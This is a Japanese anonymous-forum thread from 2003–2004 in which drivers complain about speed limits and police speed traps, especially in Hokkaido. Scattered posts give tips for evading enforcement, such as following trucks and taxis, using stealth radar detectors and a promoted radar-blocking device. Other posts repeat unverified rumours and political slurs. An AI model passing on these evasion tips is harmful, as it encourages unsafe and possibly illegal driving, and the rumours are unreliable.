http://pya.cc/pyaimg/pimg.php?imgid=1831

275 :名無しさん@お腹いっぱい。:03/12/05 20:41 ID:T4be1AWg
>>273
>>速度違反を甘くして、事故が増えると、誰かが責任を取る必要がでる。

そうですね。
逆に、過剰な速度規制でみんながどんなに不便な思いをしても、誰も責任を問われないですしね。


276 :名無しさん@お腹いっぱい。:03/12/06 13:23 ID:???
>>238の議事録見ていて思った。

警察庁の考えって、「クルマ社会拒否」なんて掲げているプロ市民や
プロ弱者の主張そのままだ。クルマ=悪、速度=死。非常に教条主義的。

このクルマ敵視はブサヨそのものだよ。共産党の政策といわれても納得がいく。


277 :名無しさん@お腹いっぱい。:03/12/06 14:59 ID:eLVcJ97J
発展途上国だと警察が罰金の代わりに賄賂を取るらしい。
日本も大して変わらんようだな。
ただ、反則金制度と天下り先の受注業者という資金洗浄マシーンを通すだけ文明的だが(w


278 :オデッサ:03/12/09 20:50 ID:1iFMCGsS
チワース
ここ1週間都内仕事で電車移動これと言った情報ないけどとりあえず顔ダシマシター
そういえば今日246でおとなしそうなおじさんが、おとなしいバイクで白バイに
拿捕されてました。状況は全くわからないけど、捕まえやすいから捕まったようにも
受け取れました。推測範囲ではカワイソーな感じ・・・・・また来ます。

279 :名無しさん@お腹いっぱい。:03/12/09 20:53 ID:UbvYmXND
捕まらないよ俺は

280 :名無しさん@お腹いっぱい。:03/12/09 23:46 ID:YBmqXuXW
>>278
お久しぶりです。
都内だと電車もなかなか便利ですね。
乗り換えが結構面倒だけど。

おとなしそうなバイクって、もしかしたら原付でしょうか。
30km/hの原付って、警察(特に白バイ)にとっては良いカモなんです。
乗ってた事有るから分かるんですけど、制限速度守るのは不可能に近いし、2輪のミラーって死角が大きいから白バイを事前に発見するのは困難だし。
4輪だと曲面鏡や補助ミラーとかで結構発見出来るんですけどね。
みんなでどんどん抗議メール送って、不合理な取締りをやめさせましょう。

281 :名無しさん@お腹いっぱい。:03/12/10 01:45 ID:J/mtKwti
この前ネズミ捕りで17km/hオーバーでつかまった。
酔っ払いのフラフラ運転を避けようとしてスピード
上げたときに、レーダーがあったらしい。
で、結局ぶつけられた上に被害者である私は
とめられて切符切られて、ぶつけたやつは
逃げちゃいました。
その場で抗議したら、「そうですか。こんどから
気をつけます・・・」って。
そんなのアリか?

282 :名無しさん@お腹いっぱい。:03/12/10 09:49 ID:???
>>281
サインしたのか?
してなきゃ勝てるぞ。
したのならアンタが悪い。

283 :名無しさん@お腹いっぱい。:03/12/10 13:13 ID:Q67fOY2+
>>281
サインしてても勝てるんじゃない?
反則金納付しなければ検察庁へ書類が廻る筈だから、そこで事情を説明してはどうでしょう。
状況にもよるけど、加速がやむを得ない回避行動なら正当防衛じゃないかな。

284 :282:03/12/10 15:30 ID:???
>>283
緊急避難にあたるかと思うが、サインしてしまったのではかなり分が悪い。
異議ありません。認めます。ってことだからねぇ。
でも幸か不幸か実際にぶつけられたという事実が証拠になるからいけるかも。
大体ぶつかるほど他車が接近していたのならどっちの車の速度なのか怪しいもんだ。

>>281
ところで話を聞く限りじゃ警官の目の前で当て逃げがあったように受け取れるんだけど
警察は追跡しなかったのか?


285 :オデッサ:03/12/10 19:08 ID:lzgsOt+j
》281
そう同じ事があるとは思わないけど、次回は徹底抗戦しましょう。
納得いかないなら、断固サイン拒否。Pマンは脅してすかして
色々言ってサインさせようとするが、別に命まで取られる訳ジャー
ないから、Pマンに屈しないよう。
どうでもいいけど、逃げたやつのナンバー見なかったの?
状況にもよるが、俺だったらPマン振り切って逃げたやつ
追い込むね、そうすりゃー当然Pマンも一緒に追いかけて
くれるだろ。(外見上)
先ず、俺だったらPマンに言うね“当て逃げしたやつ
捕まえたらサインする事を検討するよ”

286 :オデッサ:03/12/10 19:32 ID:lzgsOt+j
》280さんへ
拿捕されたバイクは原チャリではありません。最近はほぼ化石化した
何ていえばイイカナーほら125cc位で黒くて前と後ろのシートが
分かれているやつ、昭和40年代によく走っていた記憶あり。
本当は電車苦手です(座れれば良いけど)体を鍛えない不健康主義な
者ででも、この1週間はチュウキン厳しく駐車場もなかなか空かない
場所が多かったので仕方なく。週末は足がパンパンでした。

287 :名無しさん@お腹いっぱい。:03/12/10 23:25 ID:???
>>286
電車通勤で足がパンパン?
もしそうなら健康に気を使った方がいいよマジで。

288 :名無しさん@お腹いっぱい。:03/12/10 23:56 ID:mbDr8MZA
>>281
争うつもりなら、反則金納付拒否して検察で徹底的に抗弁するのも方法でしょう。
青切符だし検察まで行きたくない場合も、許せないなら監察官への申し立てだけはしておくのも方法かもしれません。
違反が無くなる訳じゃなくても、目の前の当て逃げを放置したのは問題だし、その点何らかの形で追及すべきでは。
警察官に処分が下らなくても、監察官まで話が行ったと言う事で反省を促す位の効果はあるかも。

勿論、万一同じような事があったら徹底抗戦ですね。
「目の前の当て逃げ犯逃がして職務怠慢じゃないか!」「緊急避難だしサインするつもりありません。送検したければどうぞ。ちなみにあなたの行為って明らかな職務怠慢ですよね。さて、どーしましょうかねー」等々、大いに怒りましょう。

>>286
>>125cc位で黒くて前と後ろのシートが分かれているやつ、
あー、昔ありましたね。
最近では、東南アジアで結構走ってますよ。
今の日本でそんな年代物を大事に乗ってる人って、物を大事にする真面目な人が多いんでしょうね。
警察官にとっては、おとなしくサインしてくれる良いお客さんなんでしょう。

私も最近あまり電車に乗らないので、たまに乗って長時間立ってると結構しんどいです。
多分運動不足かな(w
時間のある時には、プールで泳ごうかな〜♪

289 :おまわりさんの味方:03/12/11 01:23 ID:4VqLFWY7
281さんの話がよく理解できない。
取り締まりは夜間だったのか?
2車線以上の場所だったのか?
通常、スピード違反の測定器のすぐ横に警察官
が現任のため隠れているので、そんなに危険なら
「今のはナシ」と連絡入れるとおもうのだが?
どうして?酔っ払いと思ったのか?
まあ、別に私の人生には影響無いことです。

290 :名無しさん@お腹いっぱい。:03/12/12 23:16 ID:+dMkyQlw
>247田舎のほうが捕まりやすい。

北海道もそうだよ。
道東自動車道の帯広付近は、片1車線の追い越し禁止の
ショボイ70制限だけど、殆ど走ってるクルマが居ない。

みな、並行してる田舎道を100くらいでバンバン走るからね。

だから、道東道の通行車両の半分は警察車両(笑)。

クルマに出会うとしたらパトカーか覆面。
そりゃ直ぐ捕まるよな。

90で捕まった奴いたよ(苦笑)。

291 :名無しさん@お腹いっぱい。:03/12/14 00:55 ID:LhS+hy4L
>>290
そう言えば、猪○さんが前にTVで言ってたような。
北海道の高速道路を例に挙げて、70kmの高速と60kmの一般道が並んで走ってたりするのは意味があるのか?って。
それなら高速建設しなくても、一般道の60kmを見なおすとか・・・、まで言った所で「マズイ」って表情(に見えた)で語尾を引っ込めてた。
報道機関にとって、速度規制に対する批判が事実上のタブーである事を、垣間見た気がした一瞬だった。
生放送じゃなかったら、絶対カットされてた気がする。


292 :名無しさん@お腹いっぱい。:03/12/14 07:22 ID:Pj2HwWvv
北海道のおまわりは暇なんですね

293 :名無しさん@お腹いっぱい。:03/12/14 08:28 ID:nrnzOGnO
281の場合、ふらついていた車を追い抜いたのか、対向車かで全然違ってくるよ。
追い抜きざまの事故なら、だいぶ分が悪い。
安全に追い越す義務があるから。


294 :291:03/12/14 11:06 ID:45qqjsqk
誤解の無いように一言追加。
猪○さんは改革精神に富んだ立派な方だと思います。
だからこそ、ついつい本音が出たのでしょう。
その猪○さんでさえも慌てて語尾を引っ込めざるを得ないほど、マスコミにとって速度規制批判は強力なタブーという事でしょう。


295 :名無しさん@お腹いっぱい。:03/12/14 19:47 ID:???
でもさあ、社旗を掲げた取材車が速度超過で捕まったら、
不祥事報道で報復するんだよねえ。

296 :名無しさん@お腹いっぱい。:03/12/14 20:12 ID:???
>>294

速度制限を批判すると、クルマ社会反対のプロ市民の方々の
支持を失うからな。警察庁交通部と共産党は大の仲良し。

297 :名無しさん@お腹いっぱい。:03/12/15 01:17 ID:Q3PNKvPu
>>295
じゃあ、飛ばす時はマスコミの社旗みたいに見えるもの付けとこうか(w
マスコミの車って、ワンボックス以外だとやっぱりクラ○ンやセド○ックなのかな?

報復といっても、正面からの批判でなくて不祥事で報復するだけなんだろうね。
正面からの批判は、やはりタブーなんですね。

298 :名無しさん@お腹いっぱい。:03/12/15 02:27 ID:41YaMyYF
以前、日野市に住んでいたときのことなんだけど
一方通行に気づかずに進入しそうになったときには
「きみー、ココは一方通行だから行っちゃだめだよー」って注意ですんだよ。

今はどうかわからないけれど、当時の日野警察署は
違反を事前に防ごうとしているのが結構つたわってきたよ

299 :名無しさん@お腹いっぱい。:03/12/15 08:13 ID:DIVzm2ml
>>298

それで結局、事故や違反が減らなかったから今のようになったんでしょう。
飲酒運転でも許してもらえるとやっぱり増えちゃうだろ。

300 :名無しさん@お腹いっぱい。:03/12/15 22:58 ID:fIyRWeRC
>292
北海道のお巡りは暇です。

たまに走ってきたクルマはとりあえず皆捕まえる。
(制限通りに走ってるヤツなんていないからね)

事実。交通安全運動期間中に7km/hオーバーで捕まった人もいる。



301 :名無しさん@お腹いっぱい。:03/12/16 01:20 ID:sBWbj61O
>>300
そりゃひどいですね。
10km未満だと、普通捕まえない筈なのに。
298に出て来る警察官の爪の垢を煎じて、北海道の警察官に飲ませたいですね。


302 :名無しさん@お腹いっぱい。:03/12/16 11:20 ID:???
北海道警のクソっぷりは有名ですからね。

303 :ホッカイダー:03/12/16 22:37 ID:iohsTOvu
>302やつらホント糞ですよ。
全国の自治体で初めて、ステルスレーダー搭載の
パトカーを配備。
レーダー探知機で事前に探知できないこの
レーダー搭載パトは、
夜間、早朝、天候に関係なく、オマワリ以外の危険因子が皆無の
田舎道で神出鬼没の取締り。

地元民は、年々手口が巧妙化する取締りにおびえて走ってます。

304 :名無しさん@お腹いっぱい。:03/12/16 23:13 ID:baMIabUw
>>303
怒りましょう!
理不尽を許してはなりません!
みんなで抗議してやめさせましょう!
怒ってるのは北海道のドライバーだけではありません。
みんな、行き過ぎた速度規制には迷惑してるんです。
まずは、>>82>>238へメールを出してみませんか?
あと、友達や知り合いにも呼びかけましょう。
みんなで変えましょう。

305 :名無しさん@お腹いっぱい。:03/12/16 23:15 ID:???
http://www.amazon.co.jp/exec/obidos/ASIN/4062119498/249-3268753-5669137

306 :名無しさん@お腹いっぱい。:03/12/17 01:07 ID:???
>303
今の探知機はステルス波もキャッチしますが?


307 :オデッサ:03/12/17 15:52 ID:MqjZe97F
ずいぶん前ですが道警は、ヘリコプター使って取り締まり
するって聞いたんですが、真相のほどは。
事実だとしたら、北海道をかっ飛ばす時は車にスティンガー
は必需品にナリマスネー。

308 :名無しさん@お腹いっぱい。:03/12/17 18:00 ID:CPXGWWaW
レーダーによる取り締まりですが、このような電波を出す機械を使う人は
特殊無線技師の資格が必要だと・・聞いたのですが、それを扱っている
警察は当然持っていますよね? もしもっていなかったら電波法に引っか
かるそうですね・・・ だれか詳細キボン

309 :名無しさん@お腹いっぱい。:03/12/17 18:33 ID:???
>308
かなり既出
警察官が使う無線機と同じ免許が必要なので、採用後間もなく警察学校にいるうちに取らされる。
しかも、レーダーを使用した取締りの場合、従事している警察官のうち1人が免許を持っていれば問題ない。
現実はほとんどの警察官が免許を持っている。
持っていないのは、退職間際の警察官、交通巡視員又は元交通巡視員。

310 :名無しさん@お腹いっぱい。:03/12/17 19:19 ID:???
>>305
これって実話なのか?((;゜Д゜))

311 :名無しさん@お腹いっぱい。:03/12/17 20:39 ID:No5jMaYb
>>307
>>ヘリコプター使って取り締まり
それって私も聞いた事あります。
北海道をツーリングで廻ってた人から聞いたんですけど、上からなのでミラーで発見出来ず結構大変だと聞きました。
4輪だと爆音で分かったりするらしいんですけど、2輪だとヘルメットで爆音が遮られて分かりにくいとか。
真偽の程は如何に???
詳しい方のレスお待ちしております。

312 :名無しさん@お腹いっぱい。:03/12/17 22:14 ID:Sh7xlBqp
問題なのはネズミがいかにも
取り締まりのための取締りであるのがミエミエである事。
急カーブ連続後の40制限の直線の緩いのぼりでやるとは
卑怯でしかない。

313 :名無しさん@お腹いっぱい。:03/12/18 22:15 ID:uvjy61NT
上げよ

314 :名無しさん@お腹いっぱい。:03/12/18 22:19 ID:uvjy61NT
>311
ヘリの取締りは年に数回、デモンストレーション的に
観光ドライブしてる人をターゲットに道東の阿寒横断道路や、
日本海側のオロロンラインなどでやってるようです。
完全に警察の「お祭り」みたいなもので、
明らかにスピード違反してるヤツを見せしめ的に捕まえます。
そして、新聞記事にします。
まぁ、報道機関を巻き込んだ一種のイベントですね。

地元車両にくっついて80〜の流れに乗ってる分にはあまり心配ないでしょう。


315 :名無しさん@お腹いっぱい。:03/12/18 22:32 ID:S3fosQ9u
ステルス仕様にすればレーダーなんか何キロ出してもスルー

316 :名無しさん@お腹いっぱい。:03/12/18 22:56 ID:zs6e2+aw
交通安全のための妥当な速度規制にすると一部の事故の原因となる危険な悪質DQNドライバーのみが捕まることになる。
これは本来正しくあるべき姿だはこれでは今まで善良なドライバーから巻き上げていた大部分の反則金が徴収不能となる。
反則金は年別に予算化され、交通安全の建て前のもと天下り族の格好の利権となっている。
現体制が続く限り警察を中心とする腐りきった組織はこの利権(甘い汁)を手放すことは永遠にないだろう。


317 :名無しさん@お腹いっぱい。:03/12/19 02:41 ID:???
>>311
なるほど。で、肝心の速度計測の方はどういう仕組みになってるんでしょう?

318 :名無しさん@お腹いっぱい。:03/12/20 00:20 ID:uHj/CKXH
>317
ヘリコプター班のやつが、明らかな違反車を見つける。
「赤のミツビシー、」
地上犯(ステルスレーダーパト)
「了解〜」
測定開始!
「赤のミツビシーゲットしました〜」
てなかんじ。

上空からだと150kmくらいで一般道を走ってるヤツは
結構目立つからね。

319 :名無しさん@お腹いっぱい。:03/12/20 02:43 ID:wAUtHAxf
>>318
質問です。
「ステルスレーダーパト」は、先回りして停止した状態で測定するんですか?
それとも追尾式?

320 :名無しさん@お腹いっぱい。:03/12/20 09:46 ID:ddppiJMA
>>318はうそ

距離とタイムでスピードを割り算するのよ

321 :名無しさん@お腹いっぱい。:03/12/20 20:32 ID:4HkKJ4Iu
>>320
つまり「A時B分C秒○○交差点通過」「A時D分E秒XX交差点通過」て測って、そこから計算するんですか?


322 :名無しさん@お腹いっぱい。:03/12/20 22:23 ID:???
>320
そんな計算値で検挙できるわけなかろうw

323 :名無しさん@お腹いっぱい。:03/12/21 21:52 ID:5Bnt0hAN
>>315
>>ステルス仕様にすればレーダーなんか何キロ出してもスルー
ステルス対応の探知機付けても、狙い撃ちのねずみ捕りには通用しないみたいです。
それどころか、関係ない所で鳴る事も多いし(高級機種だと若干少なくなるけど)。

324 :名無しさん@お腹いっぱい。:03/12/21 22:21 ID:QGsEkGYr
>320
じゃぁ、地上班は、ただヘリコプターから
連絡をうけて、違反車を停めるだけということかい?

まぁ、証拠のために上空からビデオ撮影でもしてるんだろうな。

ただ、322がいうとおり、それが証拠として検挙ができるか
というと、どうなのだろうか?

325 :名無しさん@お腹いっぱい。:03/12/24 20:49 ID:XHVx9oxu
>>325
GPS付だと、オービス対策なら万全なんだけどな。

326 :名無しさん@お腹いっぱい。:03/12/25 01:06 ID:XagWESE3
NHKの「映像の世紀」再放送で、アメリカの禁酒法時代(概ね1920年代の頃)をやってた。
どうも、禁酒法はマイノリティー移民が標的になってたらしい。
誰もが守ってない法律って、公権力によって恣意的に利用し易いんだよね。
それはともかく、「誰もが違反してる法律」という点では現代日本の「スピード規制」と共通するような気が。

何はともあれ、良きクリスマスを。

327 :名無しさん@お腹いっぱい。:03/12/25 08:48 ID:???
「誰もが違反してる法律」 駐車違反

328 :名無しさん@お腹いたい ◆PE1bhZc0WA :03/12/25 22:39 ID:???
「安全運転義務違反」も多い。事故にならないと見つからないけど。

329 :名無しさん@お腹いっぱい。:03/12/26 05:01 ID:0priNmgX
やはり、KING OF 「誰もが違反してる法律」は、

スピード違反でしょう。

クルマに乗って一度も制限速度をオーバーしない日は
無いと思いますが。



330 :名無しさん@お腹いっぱい。:03/12/28 00:53 ID:F+jMjHy8
スピード違反>駐車違反>安全運転義務違反
かな。

331 :名無しさん@お腹いっぱい。:03/12/28 05:22 ID:???
制限速度の数字ってキロじゃなくてマイルだろ?


332 :名無しさん@お腹いたい ◆PE1bhZc0WA :03/12/28 08:53 ID:???
ヤードだろ!

333 :名無しさん@お腹いっぱい。:03/12/28 12:34 ID:???
インチじゃねーの。

334 :名無しさん@お腹いっぱい。:03/12/29 19:00 ID:uI8wwY40
>>331
それ位だったら、守ろうと思うんだが。

>>332-333
自転車の方が早いじゃん(w

335 :名無しさん@お腹いっぱい。:03/12/29 19:53 ID:???
チャリンコの制限速度は?

336 :名無しさん@お腹いっぱい。:03/12/30 01:10 ID:GGKSk0ww
334
ていうか、それくらいが普通に流れる速度じゃない?

北海道だと渋滞がないから常にマイルで走りたいところなんだけど、
いたるところに邪魔者(オマワリ)いるからなぁ!

337 :名無しさん@お腹いっぱい。:03/12/30 15:01 ID:???
現行の車の走行速度が適切か?
と言われれば
「その道路を通過する車にとっては」
適切なのだろう
無論、道路はそのためにのみ
存在するのではないが

物事をきちんと知りたければ
きちんとした所で学ぶべし

ゼロがいくつ集まってもゼロ

338 :名無しさん@お腹いっぱい。:03/12/31 19:28 ID:w4N60dRq
>>337
「きちんとした所」ってどこだ?
公安委員会主催の講習会か(w


339 :名無しさん@お腹いっぱい。:04/01/01 01:32 ID:1i1aU8sW
>>337
走ってる車以外の当事者とは、歩行者の事?
ところが現行の取締りは、大部分が比較的歩行者との接触が少ない幹線道路に集中している。


340 :336:04/01/01 09:14 ID:QsglwHXy
>>338
例えばこーゆースレもある
http://science2.2ch.net/test/read.cgi/doboku/1012579345/
土木・建築板の道路設計の質問スレだ
もっとも参加しようにも
「道路の機能」で「通行機能(トラフィック機能)」
しか思い浮かばないようでは小馬鹿にされておわりだろうけど


341 :336:04/01/01 09:28 ID:???
ちなみに、速度違反の取締りを受けて
「現行の取締りはおかしい」と裁判所に訴えた
勇敢な弁護士がいることも記しておく
*ホームページに自分で書いてるんだから
ttp://www.marimo.or.jp/~yuri/road/

で、上告しまくったが最高裁判決は
ttp://www.marimo.or.jp/~yuri/road/000425judge.html

違憲をいう点を含め、実質は、たんなる法令違反、
事実誤認の主張であって、
刑訴法第405条の上告理由に当たらない。
よって、同法414条、386条1項3号により、
裁判官全員一致の意見で、主文のとおり決定する。

で、「本件上告を棄却する」でしたが

342 :名無しさん@お腹いっぱい。:04/01/02 16:28 ID:???
現職必死だな。

343 :名無しさん@お腹いっぱい。:04/01/02 20:22 ID:???
「クルマ社会」反対の左翼活動家ご苦労様。

344 :名無しさん@お腹いっぱい。:04/01/02 21:30 ID:yt/96hHF
正月早々パトカー多いな。
お疲れ様と言いたいところだけど、がっぽり手当てもらってるんだろうしね。
見分けがつかないので、犯罪捜査のパトカーにまで嫌な印象を持ってしまう。
交通関係とそれ以外では、制服やパトカーの色を分けた方がいいんじゃないか?
そうすれば犯罪捜査に市民の協力を得やすくなると思うが。

345 :312:04/01/02 22:23 ID:A7BBtraQ
>>342
>>323
乏しい知識ふりしぼって、IDまで隠して
やっと出てきたのがそれか・・・がっかりだな
しかもsage・・・かまってほしいのかorほしくないのか
で、ちっとは勉強した?
妄想100%の書込みは便所の落書きといっしょだよ



346 :名無しさん@お腹いっぱい。:04/01/02 23:32 ID:t2n1HzJS
>>345
323はIDを隠していないしsageも入れてない。

347 :119:04/01/03 06:45 ID:I2pzGI0k
>>346
失礼
>>343
の間違い

348 :名無しさん@お腹いっぱい。:04/01/03 14:53 ID:B3TUbukj
この手のスレはDQSと当局の想定問答集みたいなヤシが
交互に現れては、駄スレになっていくんだよな。

暇なので上のほうに出ていた国会議事録読んでみたよ。
最近の道交法の話題といえば自動二輪の高速道路タンデム解禁かな。
これは外圧で規制緩和ともいわれているけれど、実際のところはどうなだろう。
改善されたのは、車両か、道路か、ライダーか?それら全部か?
ドライバーも変われば規制も変わるかな?



349 :名無しさん@お腹いっぱい。:04/01/03 15:10 ID:JlZaGSRO
サーキット族(基地外)が集う糞BBS
http://8210.teacup.com/syutoko2002/bbs

350 :名無しさん@お腹いっぱい。:04/01/04 01:56 ID:zDAfBD5S
さっき阪神高速(制限速度60キロ)の所を94キロで捕まった・・・・
確かに違反だけど高速で100キロ以下で捕まえるってどういう事よ。鬱だ・・

ちなみにキップの違反日時が平成15年1月4日になってて1年前になってるんだけど
これでなんかつっこめないかなw

351 :@東京都豊島区:04/01/04 02:41 ID:???
>>327
>「誰もが違反してる法律」 駐車違反

免許取って早11年。
走行距離7万Km。

一度もしてねえよ。
勝手に「誰もが」の中に入れないでくれ

352 :名無しさん@お腹いっぱい。:04/01/04 12:43 ID:???
>>350
それは、そこが
「阪神高速」
ではなく
「阪神自動車道」
だから


353 :名無しさん@お腹いっぱい。:04/01/04 22:49 ID:???
>>350
一年前のアリバイを主張しろ。

354 :あぼーん:あぼーん
あぼーん

355 :名無しさん@お腹いっぱい。:04/01/06 21:25 ID:u3dHRSw6
北海道在住なんだが、年末年始に東京にでかけたら、
みんな飛ばしまくるね。

東京は交通量が多いから、集団でとばすことになるので、取り締まられる確率が低いのだろうね。


もし、仮に北海道警察が、道警の誇るステルスレーダー搭載型のパトカーを使って
東京都内で出張取締りしたら、いっぱい捕れるだろうね。
神出鬼没だし、夜間や雨天でも取り締まれるし。
しかも、暇こいてるもんだから、10オーバー程度の
誤差範囲みたいな違反でも捕る。

マジ、道警ウザイ。

356 :ごーるどラッシュ:04/01/08 02:46 ID:IT8geDU0
http://www.rak1.jp/one/user/1982/
日記と掲示板だけのホームページですが良かったら遊びに来て下さい。

357 :名無しさん@お腹いっぱい。:04/01/08 05:07 ID:MRUupaUw
>>355
そだね。
ついでに言えば、地方はみんな厳しいよ。
首都圏に住んでる方がずっと長いけど、今まで捕まったのは全部地方。
北海道ほどじゃないかもしれないけど。
地方も良い所いっぱいあるし良い人も多いけど、田舎ケーサツと田舎893だけは好きになれなかった。


358 :名無しさん@お腹いっぱい。:04/01/09 00:03 ID:SnIYs//X
357
まあ、定置式の取締りに捕まる確率の低いのは、
関東、関西、名古屋圏くらいでしょうか。

この3大都市圏の流れはホント速いね。
とくに、名古屋の無謀ともいえる飛ばしかたにはびっくりしたなぁ。

359 :慶子:04/01/09 00:17 ID:TPuf2S6z
http://lifelife.ddo.jp/

360 :名無しさん@お腹いっぱい。:04/01/09 08:03 ID:zz4v0VPv
>>358
定置式だけでなく、ねずみ捕りもね。
マジで地方はひどかった。

361 :名無しさん@お腹いっぱい。:04/01/09 21:23 ID:SnIYs//X
360おっと、定置式というのはねずみ取りの事だい。
因みに北海道ではねずみ取りのことを「測定」っていうんだよ。
なんだか運動会みたいで笑えるね。

「定置式」に対する語句は、「追尾式」。
警察車両をつかって移動しながら速度を記録する。

ヲービスは、自動速度取締機で、「自速機」と略される。

どれも、いらねぇなぁ。

362 :360:04/01/09 21:35 ID:ADqfrczs
>>361
これは失礼。
>>どれも、いらねぇなぁ。
禿同。
しかも、取締り機材って俺たちの税金だよ。
市民の税金を使って、市民にとっては迷惑でしかない機材を買い揃える。
これはもうほとんど喜劇だよ。
特に北海道は、広いからゆっくり走ってたらなかなか着かないだろうし。
署名運動でもするか、でなきゃ選挙の前とかにメールで政治家に呼びかけるとかしないとね。


363 :名無しさん@お腹いっぱい。:04/01/10 22:35 ID:???
なんで、人通りが殆どないような見通しがいい直線とか
自然に速度がでてしまう下り坂の下で張ってるんだろう?

それより夜の国道取り締まれよ〜
50Km制限で普通に100Km以上だぞ
(`Д´)ノ゙

364 :狙い打ちステルスにも対応のパトリオット登場!:04/01/13 00:01 ID:???

パトリオットに関する話題はないのか?
レーダー探知機よりも強力にガードしてくれるらしいぞ。
もちろん狙い打ちステルスに対しても威力抜群、全く問題なし。
レーダー全般に対しては効果があるが、LHやループコイルには駄目らしい。
とりあえずここを見よ。
http://matuab2002.fc2web.com/uturan/patori.htm



365 :名無しさん@お腹いっぱい。:04/01/13 01:29 ID:+E/vAFpo
>364そりゃそうだろうよ、

作動原理を考えたら、自明の理ということだ。

ただ、法に抵触する可能性があるね。

366 :名無しさん@お腹いっぱい。:04/01/13 08:50 ID:???
>364

違法だろ。

「このモードで走らないで下さい。」
って言ってるから。

カーテレビの、「走行中は見ないで下さい。」ってのと同じだ。
脇見運転(安全運転義務違反)の責任を企業は取りたくない。

367 :オデッサ:04/01/13 19:34 ID:jK/5iFjj
>363
なんで、人通りが殆どないような見通しがいい直線とか
自然に速度がでてしまう下り坂の下で張ってるんだろう? ・・・・・

当然、ノルマが達成し易いから(拿捕できる獲物が多いから)以上。

368 :名無しさん@お腹いっぱい。:04/01/13 23:24 ID:+E/vAFpo
>367
ホント警察ってヤツはセコイなぁ。

ガキんちょと、犬くらいにしか相手にされない。

369 :名無しさん@お腹いっぱい。:04/01/14 09:07 ID:TN1NaO1V
>>363
逆にいえば、出しやすい所や下り坂ではなるべく単独走行を避けるべき。
夜の国道はタクシーや長距離トラックに追随。
つまり、緑ナンバーね。
ただ、タクシーは客を拾う為に急停車する事があるので追突には要注意。

370 :オデッサ:04/01/14 09:47 ID:A4y0IZeT
>368
犬も相手にしないぞ!!

371 :368:04/01/14 21:58 ID:wYLxEyf9
>370そうだった、おいぬ様に申し訳ない!

372 :オデッサ:04/01/15 10:05 ID:iaceHPcb
>371
今度お犬様と道で合ったらチャンと謝った方がいいぞ。


373 :368:04/01/15 22:24 ID:fIyRWeRC
>372

wakatta,yo!

374 :名無しさん@お腹いっぱい。:04/01/20 17:39 ID:i+jgdooB
ガキんちょだって相手にしないぞ!!



375 :名無しさん@お腹いっぱい。:04/01/21 06:43 ID:oY29HPOF
【司法】名神高速で107km/hで追い越し中のJRバスを京都府警が検挙。運転手は乗務停止
http://news5.2ch.net/test/read.cgi/newsplus/1074631817/l50


376 :名無しさん@お腹いっぱい。:04/01/21 14:18 ID:s64Kb/xD
>>375
追い越し車線でそんな速度で取り締まりるなんて明らかにおかしいだろ。

377 :名無しさん@お腹いっぱい。:04/01/21 14:38 ID:okkQzcud
追い越し車線でとろとろ走ってる香具師はどうにかして欲しいです。



378 :名無しさん@お腹いっぱい。:04/01/21 15:13 ID:???
>>376
大型は制限速度が80`だからな、見せしめの意味もあるんじゃないの。

379 :ボケ:04/01/21 16:31 ID:???
速度は守れ!!!

380 :名無しさん@お腹いっぱい。:04/01/21 17:30 ID:nFieT5KD

>>378


>>378


>>378


381 :名無しさん@お腹いっぱい。:04/01/21 22:56 ID:QGsEkGYr
去年の話しだけど、
北海道では40制限の見通しのよい直線道路で
54キロで走ってた路線バスが捕まったよ。

新聞に大きく載ってたけど、報道機関もバカだなぁ。
警察に肩持つような記事を書いてたからなぁ。

運転手がかわいそうだし、そのイジワルな取締りが、
乗り合わせた乗客や、そのバスが来るのを待っている
利用者に多大な迷惑をかけてる
っていうことのほうが問題だと思うけどなぁ。

382 :名無しさん@お腹いっぱい。:04/01/21 23:18 ID:QGsEkGYr
去年の話しだけど、
北海道では40制限の見通しのよい直線道路で
54キロで走ってた路線バスが捕まったよ。

新聞に大きく載ってたけど、報道機関もバカだなぁ。
警察に肩持つような記事を書いてたからなぁ。

運転手がかわいそうだし、そのイジワルな取締りが、
乗り合わせた乗客や、そのバスが来るのを待っている
利用者に多大な迷惑をかけてる
っていうことのほうが問題だと思うけどなぁ。

383 :名無しさん@お腹いっぱい。:04/01/21 23:28 ID:OO4a8crI
>>381
マスコミも警察が怖いんだよ。

報道機関って自主規制があるでしょ。
下手な事書くと犯罪を誘発する報道だとか言われるしね。
それに、警察を敵に回して事件報道で嫌がらせされたら困るし。

警察のやりかたに反対するような報道は、この国じゃ無理。
実際そういう報道は殆ど見ないでしょ。
不祥事みたいに誰が考えても間違ってる事は報道出来るけどね。

384 :名無しさん@お腹いっぱい。:04/01/21 23:39 ID:???
記者クラブではぶられたら記事書けなくなっちゃうからね。
この構造は変えなきゃいかんよな。

385 :名無しさん@お腹いっぱい。:04/01/21 23:54 ID:QGsEkGYr
383〜384
納得、確かに、速度制限に関する話題なんかも
殆ど記事にならないね。

たまに、朝○新聞なんかでも読者投稿の欄などに
「北海道の郊外路では地元車両が80以上で走行するのが
日常化してるから、少し道路の整備をすればこれ以上の高速道路
建設は不要だ・・・」みたいな文章も見かけることが
あるけど、記事としてそのような話題が載ってるのは見たこと無いな。

386 :名無しさん@お腹いっぱい。:04/01/22 01:28 ID:icIJhgV2
>>385
その北海道の話、前に猪○さんもテレビで言ってた。

「北海道では60km制限の一般道と70km制限の高速道が並んで走ってる所もある。そんな高速作らなくても、一般道の速度規制を少し変えるとかすれば・・・」
まで言った所で、慌てて口をつぐんでた(w
スタッフからストップが掛かったのか?又は、改革派の猪○さんでさえ尻ごみするほど怖い圧力が掛かるのか?

マスコミはイラク駐留部隊の報道規制には噛みついてたけど、警察には何も言えないらしい。


387 :名無しさん@お腹いっぱい。:04/01/22 01:53 ID:???
>>386
イラク派遣は官邸の意向なのに平気で叩く。
でも、警察のやり方は怖くて叩けない。
つまり、警察は総理大臣より怖い訳だ。

警察官僚恐るべし。

388 :名無しさん@お腹いっぱい。:04/01/22 09:04 ID:eNo5HaSu
速度規制って、そんなに厳しいか?
安全面を考えたとき妥当な数字だと思うが。
わき道からの飛び出し
(猫、いぬ、自転車に乗ったおばさん、子供)
規制速度を守っていても避けきれないこともある
事故を起こしても被害を最小限に押さえるためには
いたし方のない速度制限と思うが。



389 :名無しさん@お腹いっぱい。:04/01/22 13:00 ID:???
>>388
安全面だけ考えたらだめなんだよ。
その考えを車側からすると、衝突安全基準の60kmが最高速度になっちゃう。


390 :名無しさん@お腹いっぱい。:04/01/22 15:15 ID:???
>>388
確かに速度を落とせば落とすほど、死者は減るだろうね。
でも、利便性との兼ね合いからどこかで妥協しなくちゃいけない。
その妥協点が法定速度という事になるんだろうけど・・・。

